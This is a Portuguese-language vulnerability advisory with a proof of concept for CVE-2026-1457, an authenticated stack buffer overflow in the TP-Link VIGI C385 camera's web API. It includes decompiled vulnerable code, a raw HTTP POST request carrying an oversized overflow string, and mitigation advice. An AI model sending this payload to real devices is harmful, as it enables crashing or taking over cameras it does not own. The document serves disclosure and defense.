ii4gsp/cve-2026-1457Fornece uma análise detalhada e prova de conceito para CVE-2026-1457, um buffer overflow autenticado na API web do TP-Link VIGI C385 que leva à execução remota de código.
CVE-2026-1457 é uma vulnerabilidade de estouro de buffer autenticada na API web do TP-Link VIGI C385 V1. Esta vulnerabilidade permite que atacantes autenticados executem código remotamente (RCE).
Pontuação CVSS v4.0: 8.5 (Alta)
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
| Modelo do Produto | Versão Afetada |
|---|---|
| VIGI C385 V1 |
| < 3.1.1 Build 251124 Rel.50371n |
A função set_resolution_18AAD8 usa strcpy para copiar a entrada do usuário para um buffer sem validação de comprimento, resultando em um estouro de buffer.
int __fastcall set_resolution_18AAD8(int a1, char a2)
{
const char *string_origin; // r5
const char *v4; // r4
int result; // r0
char v6[72]; // [sp+0h] [bp-A0h] BYREF
char v7[88]; // [sp+48h] [bp-58h] BYREF
memset(v6, 0, sizeof(v6));
memset(v7, 0, 72);
string_origin = jso_obj_get_string_origin(a2, (char)"secname");
v4 = jso_obj_get_string_origin(a2, (char)"resolution");
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
if ( !strcmp(string_origin, "main") )
{
result = strcmp(v4, &v6[29]);
if ( result ) // true if v4 is greater than &v6[29]
{
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
strcpy(&v6[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/main", v6, 72);
return 0;
}
}
else if ( !strcmp(string_origin, "minor") )
{
result = strcmp(v4, &v7[29]);
if ( result )
{
sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
strcpy(&v7[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/minor", v7, 72);
return 0;
}
}
else
{
msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
return -40209;
}
return result;
}
v6 é declarado com 72 bytes, mas strcpy é executado na posição &v6[29].v7 é declarado com 88 bytes, mas strcpy é executado na posição &v7[29].v4) não é validada quanto ao comprimento antes do uso de strcpy, causando um estouro de buffer.v6) e 59 bytes (v7) respectivamente, mas strings mais longas podem ser copiadas.stok válido necessário)Um atacante pode explorar a funcionalidade set_resolution do endpoint /ds para enviar payloads maliciosos.
POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close
{
"video": {
"set_resolution": {
"secname": "main",
"resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
},
"method": "do"
}
Este documento não contém código de exploração executável. A captura de tela a seguir demonstra a exploração bem-sucedida resultando em uma conexão de shell reverso:
Atualização de Firmware: Atualize os dispositivos afetados para a versão 3.1.1 Build 251124 Rel.50371n ou posterior.
Isolamento de Rede: Se possível, coloque os dispositivos VIGI C385 em um segmento de rede isolado.
Controle de Acesso: Restrinja o acesso à interface de gerenciamento apenas a redes confiáveis.
Monitoramento: Monitore tráfego de rede anormal ou comportamento incomum do dispositivo.
Esta vulnerabilidade foi descoberta e analisada por:
da NSHC RedAlert Labs